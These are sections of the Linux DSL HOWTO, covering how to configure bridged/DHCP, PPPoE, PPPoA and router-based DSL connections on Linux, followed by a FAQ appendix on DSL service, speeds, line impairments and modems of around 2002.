Important! You need to know beforehand how your ISP is setup for connecting to his network. To re-iterate, the two main possibilities are Bridged/DHCP and PPPoE. These are mutually exclusive implementations. And there are indeed other possibilities as well. So you will need to know exactly what this is beforehand. And it must be the right one or you will waste a lot of time and effort. You cannot choose which one either. It is a matter of how the ISP is doing his network. Note that PPPoE can run over Bridged networks, so just knowing whether you are Bridged or not, is not necessarily good enough. If your provider is giving you a router, there is a good chance that the router's firmware will handle all of this for you.

If you are subscribing with one of the Baby Bells in the U.S., you can count on that being PPPoE, and thus you will need a PPPoE client.

There are a few provider specific FAQs and HOWTOs in the Links section below.

3.1.1. Bridged/DHCP

In the good old days of a year or two ago, purely "Bridged" connections were the norm. PPPoE had not been invented yet. This type of network puts you on a local subnet just like a big LAN. You are exposed to much of the local subnet traffic, especially ARP and broadcast traffic. The typical means of authenticating in this set up, is via DHCP.

DHCP is a standard, established networking protocol for obtaining an IP address and other important network parameters (e.g. nameservers). This is a standard, well documented networking scheme and is very easy to set up from the end user's perspective. It is also a very stable connection. You can actually unplug the modem for say 10 minutes, plug it back in, let it re-sync, and the connection is still there -- same IP and everything.

3.1.2. PPPoX

The main alternative now is PPPoX, meaning either PPPoE (PPP over Ethernet) or PPPoA (PPP over ATM, aka PPPoATM). Both of these related protocols are currently being deployed, but at the moment, PPPoE seems to be the more common of the two. PPPoX is a relative newcomer, and, as the name implies, is a variation of Point-to-Point Protocol that has been adapted specifically for DSL networks.

There are several PPPoE clients for Linux (see below). PPPoX simulates a dialup type environment. The user is authenticated by user id and password which is passed to a RADIUS server, just like good ol' dialup PPP. A routable IP address, and other related information, is returned to the client. Of course, no actual dialing takes place. The mechanics of how this is handled, will vary from client to client, so best to RTFM closely. Typically you will set up configuration files like pap-secrets, etc.

It is worth noting that PPPoE will also work on non-ethernet devices like USB, provided the correct drivers are installed.

From the ISPs perspective, PPP is much easier to maintain and troubleshoot. From the end user's perspective, it is often more work to set up, often uses more CPU, and the connection is maybe not as stable. So anyway, this seems to be the coming trend. Many of the large telcos around the world, especially the RBOCs (Baby Bells) in the U.S., have committed to PPPoX already. Setting up a PPPoX connection is completely different from setting up a bridged/DHCP connection.

3.1.3. ATM

Since the traffic on the wire from the DSLAM to the modem is typically ATM, a raw ATM connection would seem to make sense. While possible, this is rare, if it exists at all in the U.S, and would require a modem in addition to a PCI ATM card, such as the Efficient Networks 3010. Recent 2.4 kernels have ATM support. (See the Links section for more information.)

This may be a viable solution at some point, but it is just not "there" yet.

3.2. Configuring the WAN Interface

The most common configuration is a DSL modem in "bridging" mode. Both PPPoX and DHCP can use this setup. In this scenario, the WAN interface typically means your NIC. This is where your system meets the outside world. (If you have a router see below for router specific instructions.) So essentially we will be configuring the NIC, typically "eth0" since it is an ethernet interface.

With PPPoX, once the connection comes up, there will be a "ppp0", or similar, interface, just like dialup. This will become the WAN interface once the connection to the PPP server is up, but for configuration purposes we will we be concerned with "eth0" initially.

There are various ways an ISP may set up your IP connection:

  • Static IP.

  • Dynamic IP on Bridged Network via DHCP.

  • Dynamic IP via PPPoX.

  • Static IP via PPPoX.

Let's look at these individually.

3.2.1. Static IP Configuration

A "static" IP address is an IP that is guaranteed not to change. This is the preferred way to go for those wanting to host a domain or run some type of public server, but is not available from all ISPs. Note that while there are some noteworthy benefits to having a static IP, the disadvantage is that is more difficult to remain "invisible". It is harder to hide from those with malicious intentions. Skip this section if you do not have a static IP, or if you have a router, and the router will be assigned the static IP.

Configure the IP address, subnet mask, default gateway, and DNS server information as provided by the ISP. Each Linux Distribution (Redhat, Debian, Slackware, SuSE, etc.) has a different way of doing this, so check on your distro's docs on this. Each may have their own tools for this. Redhat has netcfg for example. You can also do this manually using the ifconfig and route commands. See the man pages on these or the Net HOWTO for more information and specifics. A quick command line example with bogus IPs:

 # ifconfig eth0 111.222.333.444 up netmask 255.255.255.0
 # route add default gw 111.222.333.1 dev eth0

Be sure to add the correct nameservers in /etc/resolv.conf.

3.2.2. Bridged/DHCP Configuration

ISPs that have Bridged networks typically use DHCP to assign an IP addresses, and authenticate the user. All distributions come with one or more DHCP clients. dhcpcd seems to be the most common. pump comes with Redhat based distributions as of Redhat 6.0. The DHCP client will obtain an IP "lease" from the ISP's server as well as other related information: gateway address, DNS servers, and network mask. The lease will be "renewed" at regular intervals according to the ISP's configuration.

You will want the DHCP client started on boot, so use your distribution's means of doing this. There generally is little to configure with DHCP as it is fairly straightforward and easy to use. You may need to tell it which interface to listen on if the NIC is something other than "eth0". You can also start it from the command line to get started. See the respective man pages for more.

Unless you have a static IP, the ISP will need some way to know who you are when you connect. There are two ways this authentication process is accomplished with DHCP. The first and most common method is via the MAC (or hardware) address of the network device. Typically this would be the NIC. The MAC address is a unique identifier and can be found among the boot messages, or with ifconfig, and looks something like 00:50:04:C2:19:BC. You will need to give the ISP the MAC address before your first connection.

The other DHCP authentication method is via an assigned hostname. In this case, the ISP will have provided you with this information. Your DHCP client will need to pass this information to the server in order for you to connect. Both dhcpcd and pump accept the "-h" command line option for this purpose. See the client's man page, or your distribution's documentation, for specifics.

Note | Note
 | If your ISP uses MAC address authentication, and you change your network device (e.g. NIC), you will need to register the new address with the ISP or you won't be able to connect.

3.2.3. PPPoE Configuration

PPPoE (PPP over Ethernet) is an alternate way for ISPs to control your connection, and is becoming increasingly popular with ISPs. Setting this up is quite different, and may be a little more work than with static IPs or DHCP above. Recent distro releases are now shipping PPPoE clients. If this is not the case for you, then you will have to download one. Check any Linux archive site like http://freshmeat.net, etc. or look below.

Some of the current GPL PPPoE clients available:

  • The Roaring Penguin (rp-pppoe): http://www.roaringpenguin.com/pppoe/, by David F. Skoll. Reportedly very easy to set up, and get started with. This is a popular Linux PPPoE clients due to it's reputation for ease of installation, and is now being bundled with some distributions. rp-pppoe works as a user-mode client on 2.0 and 2.2 kernels, and in kernel-mode on 2.4 kernels.

  • PPPoEd: http://www.davin.ottawa.on.ca/pppoe/ by Jamal Hadi Salim is another popular Linux client and is also bundled with some distros. This is a kernel based implementation for 2.2 kernels. A setup script is now included so no patching is required, making installation quick and easy. Also, less CPU intensive than user space alternatives like rp-pppoe (2.0/2.2 kernels).

  • PPPoE Redirector: http://www.ecf.toronto.edu/~stras/pppoe.html. This is a redirector which allows the use of PPPoE with pppd-2.3.7 or later. No recompiling of other system components are required. It is meant as an interim solution until the 2.4.x series, which will include kernel support of PPPoE/A. (Does not seem to be under active development at this time.)

  • 2.4.x kernels include native PPPoE support. The PPPoE for 2.4 page is http://www.shoshin.uwaterloo.ca/~mostrows and is by Michal Ostrowski, the maintainer for kernel PPPoE. This includes detailed instructions for installing and configuring kernel mode PPPoE.

  • EnterNet is a non-GPL'd PPPoE client from NTS, http://www.nts.com, that is being distributed by some ISPs as the Linux client. It does come with source code but the it is not available for free download. (I haven't found anyone that is impressed by this one.)

Depending on which client you have chosen, just follow the INSTALL instructions and other documentation included with that package (README, FAQ, etc.).

Once a PPPoE client connects, your connection should look something like the below example from Roaring Penguin, where "eth0" is connected to the modem:

$ route -n

Kernel IP routing table
Destination    Gateway      Genmask         Flags Metric Ref Use Iface
192.168.0.254  *            255.255.255.255 UH    0      0     0 eth1
208.61.124.1   *            255.255.255.255 UH    0      0     0 ppp0
192.168.0.0    *            255.255.255.0   U     0      0     0 eth1
127.0.0.0      *            255.0.0.0       U     0      0     0 lo
default        208.61.124.1 0.0.0.0         UG    0      0     0 ppp0

$ ifconfig

eth0    Link encap:Ethernet  HWaddr 00:A0:CC:33:74:EB
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:297581 errors:0 dropped:0 overruns:0 frame:0
        TX packets:266104 errors:1 dropped:0 overruns:0 carrier:2
        collisions:79 txqueuelen:100
        Interrupt:10 Base address:0x1300

eth1    Link encap:Ethernet  HWaddr 00:A0:CC:33:8E:84
        inet addr:192.168.0.254  Bcast:192.168.0.255  Mask:255.255.255.0
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:608075 errors:0 dropped:0 overruns:0 frame:0
        TX packets:578065 errors:0 dropped:0 overruns:0 carrier:0
        collisions:105408 txqueuelen:100
        Interrupt:9 Base address:0x1200

lo      Link encap:Local Loopback
        inet addr:127.0.0.1  Mask:255.0.0.0
        UP LOOPBACK RUNNING  MTU:3924  Metric:1
        RX packets:1855 errors:0 dropped:0 overruns:0 frame:0
        TX packets:1855 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:0

ppp0    Link encap:Point-to-Point Protocol
        inet addr:208.61.124.28  P-t-P:208.61.124.1  Mask:255.255.255.255
        UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1492  Metric:1
        RX packets:297579 errors:0 dropped:0 overruns:0 frame:0
        TX packets:266102 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:10

Note | Note
 | PPPoE adds 8 bytes of extra overhead to the ethernet frames and the correct initial maximum setting for the ppp0 interface MTU is 1492. If the MTU is set too high, it may cause a fubar packet fragmentation scenario, known as the Path MTU Discovery blackhole where the two ends of the connection fail to communicate. A typical symptom would be the failure of some web pages to load properly, and possibly other annoying problems. You may need to also set the MTU for interfaces on any masqueraded LAN connections MTU to 1452. This does not apply to PPPoA, bridged, or routed configurations, just PPPoE! See rfc2923 for a technical explanation.

Actually, for PPPoE the real setting should be at least 8 bytes less (the extra PPPoE protocol overhead) than any interface between you and the ultimate destination. All routers normally would be set to 1500, thus 1492 is correct from your end. But, it may happen that somewhere a router is configured at a lower setting, and this can cause problems, especially with web pages loading, and other traffic failures. The way to test this is to keep dropping the MTU until things 'work'.

3.2.4. PPPoA

PPPoA (PPPoATM, or PPP over ATM) is a cleaner solution than PPPoE since most of the work is done in hardware, and since the raw DSL traffic is ATM. There is no user space client necessary to manage the connection as with PPPoE, and the additional ethernet protocol layer is not required. Authentication is still the same: user id and password to connect, but the mechanics are different since no ethernet encapsulation takes place.

PPPoA is either done completely in hardware or is implemented as a device specific driver. There is no such thing as a generic PPPoA software client like there is for PPPoE. There is an ATM patch for 2.2 kernels, support for ATM in the 2.4.x kernel, and a project based on the Efficient Networks 3010, as well as other ATM cards. The ATM on Linux homepage is here: http://lrcwww.epfl.ch/linux-atm/. And even more info is at http://www.sfgoth.com/~mitch/linux/atm/pppoatm/ from the kernel developer of this project. Existing PPPoA implementations are hardware/driver based, and Linux PPPoA modem drivers are scarce as hen's teeth at this time. The above modem does not seem to be available through normal retail channels. This may be a problem, if this is the only protocol an ISP delivers, and an external modem that supports PPPoA is not available.

If PPPoA is your ISP's only option, you might consider one of the router/modems that can handle PPPoA connections, and let the hardware handle everything.

3.2.5. PPTP/PPPoA with Alcatel Ethernet Modems

Alcatel SpeedTouch Home ethernet modems (supersedes the Alcatel 1000) support both bridged and PPPoA connections. The modem itself handles the PPPoA protocol internally. When in PPTP/PPPoA mode (as opposed to RFC1483 bridging mode), Linux will connect to the modem via PPTP (MS VPN). The Linux PPTP homepage is http://cag.lcs.mit.edu/~cananian/Projects/PPTP/, and works well with this modem. In addition to installing pptp, your kernel must also have support for PPP.

The modem has internal configuration pages than can be reached by pointing a browser to the default IP address of http://10.0.0.138. (You will of course have to have your NIC set up for a 10.0.0.0 network with similar IP such as 10.0.0.1, in order to reach the modem's configuration pages.) For PPPoA, the connection type is 'PPTP'. You will have to get the other settings from your provider if the defaults do not work. Settings such as 'VPI/VCI' and 'encapsulation' can vary from provider to provider. Of course, if the modem is coming from your provider, all this should be already configured.

The next step is to configure pptp, which is done by configuring the pppd files /etc/ppp/pap-secrets (or chap-secrets) and /etc/ppp/options. This is where the username and password is entered. For example:

/etc/ppp/pap-secrets:

# client secret server IP address
login@isp.com  *    my_password_here    *

and /etc/ppp/options:

name "login@isp.com"
noauth
noipdefault
defaultroute

Once everything is configured properly, it should be just a matter of starting pptp, pointing it to the modem's address:

 #pptp 10.0.0.138

Note | Note
 | Alcatel supplies many sub-models of these modems. These features may not be available on all models, or may be altered from the defaults. This is something to be aware of, if buying a used modem. This modem only supports one concurrent PPTP connection.

3.2.6. Modem/Router Configuration

Some ISPs are providing "routers" as the connection device. Essentially these are mini routers with built in modems. These are all ethernet based devices too, so Linux should be good to go here as well. Again, a compatible, working NIC should be all that is required to make this work.

A "router" has many advantages. The better ones can handle the connection management, IP encapsulation, and authentication, as well as providing a means of segregating your LAN from outside traffic, and possibly other features too. In short they can do it all. One big advantage is that they can handle whatever protocols your ISP requires in order to connect.

If the ISP is requiring PPPoX, then this makes life a little easier since you will not have to install or configure any additional software just to use their network. The modem's firmware will handle this. The downside is that most of these do not have the flexibility of a Linux router, or other software solution. Of course, you could set up a Linux router behind the router, and have the best of both worlds. The ones with more and better features are also going to cost significantly more.

While the physical installation of a router is very similar to the modem installation (see above), the router configuration itself is different since your first "hop" will be the router's interface and not the ISP's gateway. Routers will actually have two interfaces -- one that you connect to from the LAN side, and one that connects to your ISP on the WAN side. Your point of exposure here is the WAN interface of the router.

The router will also have a pre-configured, private IP address that you will connect to from the LAN side. This will be your gateway. The public IP address will be assigned to the WAN side interface. Typically these devices also act as DHCP servers for the LAN side as well. So possibly all you have to do is to start a DHCP client such as dhcpcd or pump (Redhat based distros) to get up and running. Just make sure the modem/router is syncing first. The appropriate steps and configuration should be in the owner's manual, or available from your provider.

If you are a PPPoX customer, and the router is handling this part of the connection, then you will have to configure at least your user id and password before connecting. If a Bridged/DHCP customer, you should just have to activate DHCP on the router, and possibly register the MAC (hardware address) of the router with your provider. Some routers have "MAC cloning" which means that they will report the MAC address of the attached NIC. If static IP, then you will have to configure this as well.

If you need to access the router directly, you will need to know the manufacturer's default setting for its IP address. See the owner's manual, or ask your provider. You will then have to set your NIC's interface to the same network as the router. For instance, if the router has an IP of 10.0.0.1, set your interface's address to 10.0.0.2 (typically eth0), and netmask to 255.0.0.0.

 # ifconfig eth0 10.0.0.2 up netmask 255.0.0.0
 # route add -net 10.0.0.0
 $ ping 10.0.0.1

If everything is in working order, the router should respond to pings. How to configure this permanently will vary from distro to distro. So check your distribution's documentation. Now you should be able to ping the modem/router, and, if all is well, beyond. Then use telnet or a web browser to do any further configuration of the router.

Even if the ISP is not offering any router options, there are quite a few available from third party manufacturers such as Netgear, Linksys, Cisco, Zyxel, Cayman, Alcatel and others. These will have all the features already mentioned and maybe more. Just make sure it matches your provider's DSL. This is one good way around the PPPoX bugaboo.

Caution

Some manufacturers may be marketing these as having "firewall" capabilities. In some cases, this amounts to nothing more than basic NAT (Network Address Translation or masquerading). Not a full, true firewall by most measures. Be sure to read the fine print before buying and make sure you know how much real firewalling is included.

3.3. Connect

Everything should be in place now. You probably have already tested your connection. You should be seeing ping roundtrip times of 10-75 ms to the ISP's gateway. If something has gone wrong, and you cannot connect, either retrace the above steps, or see the Troubleshooting Section below.

Prev | Home | Next
Installation |  | Securing Your Connection


Appendix: FAQ

DSL HOWTO for Linux
Prev Next

7. Appendix: FAQ

Some Frequently Asked Questions about DSL and Linux.

  1. Q. Does DSL work with Linux?

    DSL is a technology, or more correctly, a group of related technologies. This is akin to asking if Linux works with telephones. The technology itself does not care. So, the short answer is "Yes, of course!". The long answer is that if there are any impediments, they are being imposed by the provider. There are things they may do, that can make getting Linux up and running, more of a challenge than it needs to be. Not having a compatible modem option available is one common gotcha. Also, if the telco or ISP is doing the installation, they may require a Windows or Mac system to be available. This saves them the costs of training their techs on various alternative OSes. Buyer beware!

    Basically all DSL does, is facilitate a high speed Internet connection. At some point, it is all TCP/IP, and Linux, of course, handles TCP/IP quite well.

  2. Q. Where can I find drivers for my PCI (or USB) modem?

    With few exceptions, you probably can't, because they are just not available. Your best bet is an external, ethernet interfaced modem for all intents and purposes. If your provider does not offer one, you will have to find another provider, or buy your own modem outright. Just make sure it is compatible with your provider's flavor of DSL.

    The are exceptions to every rule. See the Modems Section for a list of compatible modems as of this writing.

    If an incompatible modem puts you in a bind, hopefully you will take the time to politely harass the manufacturer ;-).

    This situation may be changing. Xpeed now has drivers included in the kernel for source for their PCI IDSL and SDSL modems. This is good news! Alcatel has just recently released drivers for the Alcatel SpeedTouch USB ADSL modem. Hopefully others will follow suit. (Make sure you are reading the latest version of this document, as I have intentions of keeping this situation updated as needed.)

  3. Q. How fast or good of a network card do I need?

    Any card that is compatible with Linux should work fine. Remember even low-end cards are 10 Mbps, and no consumer class DSL is near that at this time. I would suggest a reasonably good quality card, just to help eliminate the possibility of errors and premature failure.

  4. Q. How can I find out when DSL will be available in my area?

    Just where and when DSL gets deployed is totally in the hands of your friendly local telco. They obviously can't do everyone at once, so they probably are selecting areas based on competitive factors. Getting a straight answer from a telco on this question can also be a challenge. Probably so as not to tip their hand to competitors. Unfortunately, it is a question only they can answer.

  5. Q. I was disqualified because I am too far away. What can I do?

    Move? Seriously, there isn't much you can do. If there are other providers, get another opinion. You never know. Determining the loop length is an inexact science, and there is room for errors. Many use databases for this, and these databases routinely have some inaccuracies. Some providers too, may be more aggressive in taking steps to help you out and clean up the line. Also, some providers offer low-end speed services that have greater reach. Maybe this will become available in your area. Or, the telco may install, at some point, remote devices for customers who are now too far away.

  6. Q. What are the speed tweaks for Linux?

    This may not be necessary. Linux is pre-tweaked for the most part, unlike some versions of Windows that really need some registry hacks to get optimum performance. If you have a high latency connection, you may benefit from increasing the TCP Receive Window. See the Tuning section.

    Now if you are convinced you are not getting the performance you should based on your distance and line conditions, then there might be a problem somewhere. See the Troubleshooting section for more. What you may need is a fix, more than a tweak.

  7. Q. My service is limited to 640K (for example). Can I get better speed by getting a faster modem? Any way around this?

    No, and no. The modem has little bearing on how fast your connection is for all intents and purposes. The provider has a mechanism in place for limiting your speed somewhere in the pipe before you hit the Internet. There is no way to defeat this.

  8. Q. Can I download and upload at the same time? Is one effected by the other?

    The upstream and downstream channels use separate frequency ranges within the DSL signal, so simultaneous upload/download is not a problem and available bandwidth is not normally impacted.

    Where there may be somewhat of an adverse impact, is with asymmetric DSLs like ADSL, and both the upstream and downstream are simultaneously saturated. This is a TCP 'feature' and not DSL related though. This can adversely effect the faster stream (i.e. the downstream). How much of an impact depends on a slew of factors and is beyond the scope of this document, but is more pronounced with higher ratios of downstream to upstream (e.g. 640/90). See the Tuning on how to mitigate this effect.

  9. Q. I am paying for 768 Kbps service, and the best I ever get is 640 Kbps or so. Why? Is the service oversold? I am not getting what I pay for.

    You will lose 10-20% of the rated capacity due to the overhead inherent in the various protocols utilized. Most of us will probably fall closer to 20%. This is just a fact of life for everybody. Just how much is lost here depends on various factors. You seem to be close to your maximum when this is taken into consideration. Also, if you read the fine print, many ISPs are advertising speeds "up to" such and such. Check your service agreement and see if there are any guarantees. If there are, they may be well below the advertised maximum speed, and may be based on sync rate instead of actual throughput. Though this may vary from provider to provider as well.

    Also, be careful how you test this. Some of the so-called test sites can be pretty unreliable. There can be many factors between you and that site that can impact your throughput and skew results -- not the least of which is how many people might be trying that same test at the same time. The best test is via FTP download from a known good, close, not too busy site.

  10. Q. Why does PPPoX have such a bad rap?

    The occasional disconnects is one of the biggest gripes. PPP seems to be sensitive to any interruptions in the connection. Generally a disconnect means a new IP. And there are those that say PPP, by its very nature, was never meant to be an "always on" protocol. PPP is a session management protocol at heart, that requires a user to initiate a connection and authenticate him or herself. PPPoE/A are not yet particularly mature protocols either. They do not have much of a history or track record. Some would say the telcos and hardware manufacturers have rushed this out the door. PPPoE also requires an additional layer of software just to maintain the connection. This is one more layer of code and one more potential point of failure. Also, more system overhead is utilized to manage the connection.

    The impact of the disconnect problem can potentially be eased by adjusting the PPP LCP-echo settings to extend the period before the local end of the connection decides to terminate the session. Each end of the connection uses LCP echoes to make sure the other end is still "there". Nothing much can be done if the remote end decides to tear down a session (other than to do what you can to make sure you are responding to it's LCP echoes).

  11. Q. Why PPPoX? This seems like a bad idea!

    PPP gives several advantages to the provider: they can use their existing infrastructure and hardware that they now use for their (larger) dialup customer base. It is easier to control user authentication and potential abuse situations, and easier to manage their network and related issues. In fact, it most boils down to its just easier for them. Easier, means saves man hours, and therefore saves costs (at least from their perspective).

    It is not a conspiracy to conserve IP addresses, or thwart heavy users. IP address costs are insignificant in the overall scheme of things.

  12. Q. The only provider in my area does not support Linux. What can I do? Will I have to use Windows?

    NO! "Support" here is support as in "tech support". They are just saying that they will not give you tech support when and if you have problems. This does not mean you cannot use Linux on their network. Just that you may have to fend for yourself when and if a problem does arise. Anything that is forbidden will be in their Acceptable Use Policy (AUP), or Terms of Service (TOS) agreement.

    I have heard stories where a new tech or installer has misinterpreted their own company's policy on this and told someone "you can't use Linux here". Same with NT server. But this is almost always a misinformed individual.

    But -- if a provider does not support Linux, they may balk at installing onto a Linux box. Hopefully, they will have a self-install option to get around this annoyance. YMMV.

  13. Q. My fax software does not work with my DSL modem. Why is that?

    Faxes are normally transmitted over typical analog phone lines by dialing the fax machine on the other end. Analog modems can handle this, but DSL "modems" have no dialing capability. Don't throw out that 56K yet!

  14. Q. What does "FastPath" mean? Is it better? Faster? What is interleaving? How can I get better ping times?

    Interleaving is a feature of DMT line encoding. Essentially it is a form of error correction that is configurable at the DSLAM. The side effects are a slower connection, especially higher latency. With FastPath (or sometimes called non-interleaved) DMT, gateway pings can be in the 10-25 ms range. With interleaving, this is more likely to be in the 40-75 ms range depending on the degree of interleaving that has been enabled.

    On the positive side, a marginal line is more stable and less prone to errors with interleaving. Many telcos have interleaving on by default since increased stability would seem to be a good thing. But this is only beneficial for marginal lines, and everyone else is paying a latency tax for this. Some telcos may be amenable to turning this feature on/off. YMMV.

  15. Q. How fast and powerful of a computer do I need for DSL? My ISP says I need at least a Pentium 200. Why?

    At the most basic level, a 386 will work fine. In most situations, you are connected to what is essentially an ethernet based network. So theoretically anything that can handle a very slow ethernet connection would work. No comment on well Netscape will run on a 386 though ;-) But as far as just managing a raw connection, a 386 is indeed workable. What else you can do with it, is another matter.

    Where this gets a little more complicated is the modem, and the client that the ISP may require. Any PCI or USB modem is going to require drivers, which means more CPU and system resources. Also, PPPoE does even more processing, so again the potential CPU load is increased. Windows tends to be not so efficient with all this going on, hence the requirement for mid range Pentiums by some ISPs.

    With Linux it will depend on what you are going to do. A low end Pentium should be fine for most uses. A 386/486 should do nicely for just a firewall/gateway box in most situations. Just remember if you are running PPPoE, you may take a performance hit on low end hardware.

  16. Q. I just got my DSL installed, and my speed sucks, and/or my connection constantly drops. What is the problem?

    Not enough information to say, really. There are many, many things that can cause a poor connection. The list is too long to mention them all.

    One of DSL's weaknesses is that the signal can be fairly fragile. Many things can degrade the signal, making for poor connections, and thus speed. This can be caused by poor or substandard inside wiring, a wiring problem outside (like bad splice), RFI from any number of sources, AM radio signal interference from a nearby station, bridge taps on your line, excessive distance from the DSLAM and so on. Not to mention possible hardware problems with your modem, NIC, or the telco's DSLAM, etc. Not always easy to sort out.

    Your provider should be able to assist you. First, make sure the problem isn't with your setup as they likely won't help solve a Linux problem. Then be persistent, and don't hesitate to go over someone's head if the help is not forthcoming. Most problems are solvable. The trick is isolating it. A good telco tech, trained for DSL, can find all kinds of obscure wiring problems.

  17. Q. My provider's tech support staff is clueless. What can I do?

    Common complaint. Seems to be the nature of the beast. First line tech support is an entry level position, and mostly filled by young people with little technical or networking knowledge. Grin and bear it, or try calling back.

  18. Q. Now that I have a dedicated line, do I really need an ISP? Can't I be my own ISP?

    Yes, and no. Linux has everything needed to run a small ISP. But even though the "line" is a dedicated connection, it is only dedicated to the telco end-point equipment. You still need someone to sell you bandwidth, and gateway access to the Internet. So, traditional ISPs still have their role. You might see if there is a local provider of some kind that will just sell you the bandwidth without all the frills (e.g. email and news). But this probably will not save any costs.

    It is also technically possible to connect two DSL modems via a "dry" copper line. In some areas, a dry line (with no dial tone), is fairly inexpensive (but in others areas it's not). And then you need someone on the other end who is willing to provide the bandwidth and whatever services may be needed. Not all DSL modems support this (some common SDSL modems apparently do). This is also going to require dealing with the local phone company for something that is not a consumer type service (read: might be a real PITA). There is also a significant start up investment, that may not come with any telco guarantees for the intended use.

  19. Q: Are there ADSL Standards?

    Sort of. The U.S. Bell Operating Companies have standardized on Discrete Multi-Tone (DMT) (ANSI T1.413) in their current roll-out. Most others should follow their lead in the states. There are other types of modems, most notably Carrier-less Amplitude Phase Modulation (CAP), which of course, is incompatible with DMT.

    A biased comparison from an DMT-based vendor on this subject can be found at the http://www.aware.com. Still, it provides the best detail on this issue I have seen so far.

    A rather expensive copy of the ANSI standard can be ordered at: American National Standards Institute ANSI Home Page

    Asymmetric Digital Subscriber Loop (ADSL) Metallic Interface

    ANSI TI.413-1995

    Note: ANSI TI.413 Issue 2 was released September 26, 1997

  20. Q: Can I use ATM to connect to DSL?

    Technically speaking, you can. Some DSL modems (at least the Alcatel version) has a ATM Forum 25Mbps interface, which connects to a PCI ATM card. But this is rarely done in practice since many Operating Systems can't speak ATM natively, and the cost of ATM cards is more than ethernet. See http://lrcwww.epfl.ch/linux-atm/ for more details.

  21. Q: Why does DSL have all these bit rates (384/1.5/7.1M/20M/etc) options?

    The basic problem is the 100 year old design of the copper loop. It works great for analog phone, but it presents a real challenge for higher performance signals like DSL. Remember that the distance of a loop is inversely proportional to the data rate that it can carry. Rate adaptive technologies are great for making a digital signal work in many situations, but it can't provide a consistent bandwidth for all applications, especially for very long (over ~15,000 ft) loops. The different bandwidths that you see advertised reflect various marketing battles of vendors equipment, and the telco struggle to finalize on a standard set of data rates. The bottom line is for the telco to be able to reach as broad a customer base as possible.

    Check out the next question on the loop impairments that cause this to happen.

  22. Q: What are all these loop impairments (bridge taps, load coils, DLCs) that could disqualify my line from DSL? (thanks to Bruce Ediger)

    Load coils: in-line inductances that improve voice-frequency transmission characteristics of a telephone circuit. Essentially, a "load" steals energy from high frequencies and gives it to lower frequencies. Typically only used in very long (> 9,000 ft) phone lines.

    By "bridges" I assume you mean "bridged taps". In older neighborhoods, the phone wiring will have been used by more than one customer. Perhaps these customers lived at different (though near-by) addresses. The unconnected "spur" of wiring is a "bridged tab" on the currently connected circuit.

    DLCs, Digital Loop Carriers: there's a bunch of systems for carrying more than one voice transmission on a single pair of wires. You can shift the frequencies up or down, or you can digitize the voice transmissions and divide the telephone circuit by time or code or something. The more general term is "pair gain".

    These things cause different problems for high-frequency communications.

    Load coils will completely mess up things by filtering high frequencies and passing low frequencies. They probably also change the "delay envelope", allowing some frequencies to arrive before others. One byte's tones will interfere with the next byte's.

    Bridged taps act as shunt capacitances if they're long in relation to the signals wavelength, and they'll actually act as band pass filters if they're about 1/4 wavelength of the signal. That is, they'll pass particular frequencies freely. Particular tones of a DMT modem might get shunted back, rather than passed along to the receiving modem, reducing bandwidth for that telephone line.

    Pair gain, digital or analog, limit the bandwidth available to one transmission in order to multiplex several on one wire. High and low tones of a DMT transmission get filtered out by the apparatus.

    The book "Subscriber Loop Signaling and Transmission Handbook", by Whitham D. Reeve, , IEEE Press 1992, ISBN 0-87942-274-2 covers the math of how to calculate the effect of line length, bridged tap, etc on the transmission characteristics of a telephone line. It's pretty expensive, however.

  23. Q. Can I run a web server with my DSL connection?

    Sure. You are connected to a TCP/IP network, so theoretically you can run any service that the protocols allow -- mail, ftp, ssh, irc, etc. Where there may be problems, is with the ISP's TOS (Terms of Service). Some ISPs are pretty open on this, while others forbid any type of server, and may even block certain ports. You should research this, or ask the ISP before making any plans. ISPs that are selling a consumer service are not going to allow any high volume servers -- just personal, or low traffic services at best. If this does not fit the bill, then you can check with any local Business class DSL providers. This will cost more, but the Terms of Service, and guarantees, are generally much more suited to higher bandwidth usages.

    If you do not have a static IP, you can get around this with one of the many Dynamic DNS services that are out there for just this purpose. See the links section.

  24. Q: Do you have examples of DSL Modems?

    Short Answer: Yes. Real Answer: The evolution of this technology is moving too rapidly for anyone to keep up to date in a HOWTO. Check http://dslreports.com/information/equiprated/all for up to date information.

    However, below is a list of some of the current modem offerings as of January 2002. All are ADSL modems with DMT encoding (a.k.a. Alcatel compatible), unless specified otherwise. [Note: Some items retained from original list dated June 1998.]

    • Router/Modems with 10/100baseT Ethernet Interface:

      Examples: Flowpoint 2000 DSL(CAP), 3COM Viper-DSL (CAP), Westell ATU-R-Flexcap (CAP), Aware x200, Zyxel P641, Efficient Networks SpeedStream 5660 and 5861, Cayman 3220H, Cisco 673 (SDSL), Cisco 675 (ADSL/CAP), Cisco 677 (ADSL/DMT), Alcatel SpeedTouch Pro

    • Bridge/Modems with 10/100baseT Ethernet Interface:

      Examples: Alcatel 1000, Alcatel SpeedTouch Home [note: Home == ethernet, there are also USB and PCI SpeedTouch versions!], Westell ATU-R-Flexcap2 (CAP), Efficient Networks SpeedStream 5260, Efficient Networks SpeedStream 5251 (SDSL), Westell WireSpeed.

    • Modems with ATMF Interface:

      Examples: Alcatel 1000, Alcatel SpeedTouch Home, Cisco 677 (DMT), Ariel Horizon II

    • Bridge/Modems with V.35 Serial Interface (T1, Serial Router)

      Examples: Westell ATU-R

    • Modems with USB Interface:

      Efficient Networks SpeedStream 4060, Intel 3100, Alcatel SpeedTouch USB

    • PCI Modems:

      Examples: Cisco 605, Efficient Networks SpeedStream 3060/3061, Intel 2100, Xpeed X200 (IDSL), Xpeed X300 (SDSL), Alcatel SpeedTouch PCI

    • Wireless Modems (IEEE 802.11b):

      Examples: Alcatel SpeedTouch Wireless

    • Dedicated Router (no built in modem) with 10/100baseT Ethernet Interface:

      Examples: Netgear RT311, SMC 7004BR, Linksys BEFSR11

This is but a very small sampling and should not be construed as endorsements of the products listed. It is just a simple illustration of a few of the available products.

Warning

Modem manufacturers often ship modems to meet an ISP's specifications. Features are sometimes enabled or disabled as requested by the ISP. There are conceivably numerous, possible variations on each model. Something to consider if buying one second-hand.

Prev | Home | Next
Appendix: DSL Overview |  | Appendix: Miscellaneous


DSL HOWTO for Linux

Hal Burgiss

hal@foobox.net

Original Author: David Fannin

dfannin@sushisoft.com

Edited by

